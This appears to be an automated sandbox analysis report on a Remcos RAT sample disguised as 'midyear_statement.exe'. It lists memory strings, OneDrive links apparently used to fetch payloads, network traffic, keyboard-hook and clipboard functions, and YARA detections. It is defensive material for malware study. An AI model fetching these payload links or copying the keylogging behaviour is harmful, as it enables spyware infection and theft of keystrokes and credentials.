Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://www.digicert.com/CPS0~
Source: wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com
Source: wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000003.1386954582.000000000096D000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000003.1386589217.000000000096D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.imvu.com
Source: wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
Source: wkrriuhD.pif, 0000001D.00000003.1386954582.000000000096D000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000003.1386589217.000000000096D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.imvu.comppData
Source: wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comr
Source: wkrriuhD.pif, 0000001B.00000002.1406015576.0000000000193000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: midyear_statement.exe, midyear_statement.exe, 00000000.00000003.1190782910.000000007FD60000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002A80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1381770717.0000000016137000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1382468437.0000000016170000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1380482770.0000000015C00000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, wkrriuhD.pif, 00000018.00000000.1358434050.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001B.00000000.1383271733.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001C.00000000.1383573996.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001D.00000000.1384411850.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001F.00000002.1566764474.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 00000021.00000000.1636440948.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif.0.dr	String found in binary or memory: http://www.pmail.com
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P
Source: midyear_statement.exe, 00000000.00000003.1240930752.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 0000001E.00000003.1545163878.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aborlw.sn.files.1drv.com/
Source: Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aborlw.sn.files.1drv.com/o
Source: Dhuirrkw.PIF, 0000001E.00000003.1545101196.0000000000824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aborlw.sn.files.1drv.com/y4mLOg16uNX2Id3t-nfFLVYL7CZhAgTRemSr1q_NX-Mvx_fpOOS9Dz7js9NACEXeYp5
Source: Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aborlw.sn.files.1drv.com/y4mXBt2sSJKJZHlLzI8sH3PFmgRqsPoY_FaTasOJSi4WNTk8bd6AgZ1TzwzQWZ2uDij
Source: midyear_statement.exe, 00000000.00000003.1240930752.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aborlw.sn.files.1drv.com/y4mdIO5pciNH8fpwGOAAIADTo3pXjwRKPU-X6-J-zpDME1cfDB5-C-zJvJ0Zyx9NPNN
Source: Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1616710283.000000000083A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aborlw.sn.files.1drv.com/y4mhPCChdz-WmirIkiDV2ww7X8Bbd2o2c6Warvjl_dk_jMmN6VWuryzdoRm3kPHX80_
Source: midyear_statement.exe, 00000000.00000003.1292113599.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1362063312.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 0000001E.00000003.1564727013.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1637043609.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com/
Source: Dhuirrkw.PIF, 00000020.00000003.1637043609.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com/y4mVdi6rp2qkaaDX5Txipl4hmgaKma0en0K10OdbofbDqqNgddkNvfFr34Mxc3bQcF3
Source: Dhuirrkw.PIF, 00000020.00000003.1637043609.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com/y4maSSmIiFxHS53VrMh0Wc-KmE9UNGqFMoeO06mE8M1WEFsDmr1AeIzN4LcJU6cd0Kw
Source: Dhuirrkw.PIF, 0000001E.00000002.1567523437.00000000007E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com/y4mhwTfeKQ4eY5KLg3nmxa_boO0q7i2wmVFOUDCXUh0ad78865G9-BX4CJ3kGlJVsre
Source: midyear_statement.exe, 00000000.00000002.1380482770.0000000015BD6000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1292113599.00000000008FB000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1362063312.000000000088A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com/y4ms4H1tLcGEiSUU0ZXyS-1UhN1A1nY0HWv2H1VcTggiyFj5GyqXlnGNUvRGU1yWLZH
Source: Dhuirrkw.PIF, 00000020.00000003.1637043609.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com:443/y4maSSmIiFxHS53VrMh0Wc-KmE9UNGqFMoeO06mE8M1WEFsDmr1AeIzN4LcJU6c
Source: Dhuirrkw.PIF, 0000001E.00000003.1564727013.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com:443/y4mhwTfeKQ4eY5KLg3nmxa_boO0q7i2wmVFOUDCXUh0ad78865G9-BX4CJ3kGlJ
Source: midyear_statement.exe, 00000000.00000003.1292113599.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abpoxw.sn.files.1drv.com:443/y4ms4H1tLcGEiSUU0ZXyS-1UhN1A1nY0HWv2H1VcTggiyFj5GyqXlnGNUvRGU1y
Source: Dhuirrkw.PIF, 0000001E.00000003.1514589660.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abqscw.sn.files.1drv.com/
Source: midyear_statement.exe, 00000000.00000003.1219564986.00000000008FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abqscw.sn.files.1drv.com/y4m-zYwpFACL5iXnxCgcfUGrba1rEn19VhjL7w-TerMTn_xp_gGpLreK-PlTDk9AFPA
Source: Dhuirrkw.PIF, 0000001E.00000003.1514589660.0000000000803000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1598043310.0000000000838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abqscw.sn.files.1drv.com/y4mM5VAFczkoUgXiRkT2NbXnlBwvzcPuKz5AwJErjUwbkEuoWmzy8jSXGy266gPIcJH
Source: Dhuirrkw.PIF, 0000001E.00000003.1514589660.0000000000803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abqscw.sn.files.1drv.com/y4mu3pWdZcj6Ve9WuLc8z50Ki8byXob_qMUj9cAdyMI-JlRVlQqz67Is5cy4lCX-g6M
Source: Dhuirrkw.PIF, 0000001E.00000003.1514589660.0000000000803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abqscw.sn.files.1drv.com:443/y4mu3pWdZcj6Ve9WuLc8z50Ki8byXob_qMUj9cAdyMI-JlRVlQqz67Is5cy4lCX
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/ODSP_Sync_Client/19.043.0304.0013?UpdateRing=Prod&OS=Win&OSV
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://ecfdb90f321c52ef6e93077f63413543.azr.footprintdns.com/apc/trans.gif?bd78002c55888096ce060c58
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://ecfdb90f321c52ef6e93077f63413543.azr.footprintdns.com/apc/trans.gif?c2fcd52267835a3e34f9ac05
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://fp-afd.azurefd.us/apc/trans.gif?69c749c200c753dfb00f5bc8299ab8eb
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://fp-afd.azurefd.us/apc/trans.gif?a2555e10569a45fe03b885d268c50da9
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://fp-as.azureedge.net/apc/trans.gif?23ecc2fb73d617d9826364f47d1067db
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://fp-as.azureedge.net/apc/trans.gif?7bac4e73e9b20fcc41dc97447167937d
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://fp.msedge.net/conf/v2/asgw/fpconfig.min.json?monitorId=asgw
Source: midyear_statement.exe, 00000000.00000002.1362063312.000000000088A000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1637043609.00000000007E4000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/
Source: Dhuirrkw.PIF, 0000001E.00000003.1564727013.00000000007D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/W
Source: Dhuirrkw.PIF, 0000001E.00000003.1514589660.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/X
Source: Dhuirrkw.PIF, 0000001E.00000003.1545163878.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/a
Source: midyear_statement.exe, 00000000.00000003.1240930752.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/g
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: wkrriuhD.pif	String found in binary or memory: https://login.yahoo.com/config/login
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2022-09-17-00-05-23/PreSignInSettingsConfig.json?One
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2023-10-05-07-50-22/PreSignInSettingsConfig.json
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/update100.xml?OneDriveUpdate=d75433bcf1f9312f1975
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/741e3e8c607c445262f3add0e58b18f19e0502af.xml?OneDriveUpdate=ad62f4
Source: Dhuirrkw.PIF, 00000020.00000002.1638568341.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.co
Source: Dhuirrkw.PIF, 00000020.00000002.1638568341.00000000007B1000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1637043609.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/
Source: Dhuirrkw.PIF, 00000020.00000002.1639873625.0000000003C12000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=653A5056738F1A02%21262&authkey=
Source: Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=653A5056738F1A02%21263&authkey=
Source: Dhuirrkw.PIF, 00000020.00000002.1639873625.0000000003C12000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=653A5056738F1A02%21264&authkey=
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/ew-preload-inline-2523c8c1505f1172be19.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/otel-logger-104bffe9378b8041455c.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-35de8a913e.css
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7.css
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bootstrap-5e7af218e953d095fabf.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-3a99f64809c6780df035.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-994d8943fc9264e2f8d3.css
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-fluent~left-nav-rc.ac5cfbeadfd63fc27ffd.chunk.v7.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-forms-group~mru~officeforms-group-forms~officeforms
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-mru.2ce72562ad7c0ae7059c.chunk.v7.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendor-bundle-ba2888a24179bf152f3d.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.169ce481376dceef3ef6.chunk.v7.c
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7.j
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwaunauth-9d8bc214ac.css
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedfontstyles-27fa2598d8.css
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedscripts-939520eada.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticpwascripts-30998bff8f.js
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticstylesfabric-35c34b95e3.css
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/hero-image-desktop-f6720a4145.jpg
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/lockup-mslogo-color-78c06e8898.png
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/microsoft-365-logo-01d5ecd01a.png
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-apps-image-46596a6856.png
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-checkmark-image-1999f0bf81.png
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/officehome/thirdpartynotice.html
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: wkrriuhD.pif	String found in binary or memory: https://www.google.com/accounts/servicelogin
Source: bhv348F.tmp.27.dr	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49734 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1233A2B8 SetWindowsHookExA 0000000D,1233A2A4,00000000

24_2_1233A2B8

Installs a global keyboard hook

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\wkrriuhD.pif

Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1233B70E OpenClipboard,GetClipboardData,CloseClipboard,

24_2_1233B70E

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123468C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	24_2_123468C1
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	27_2_0040987A
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	27_2_004098E2
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	28_2_00406DFC
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	28_2_00406E9F

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1233B70E OpenClipboard,GetClipboardData,CloseClipboard,

24_2_1233B70E

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1233A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

24_2_1233A3E0

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3664888730.0000000013EEF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.1622995189.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
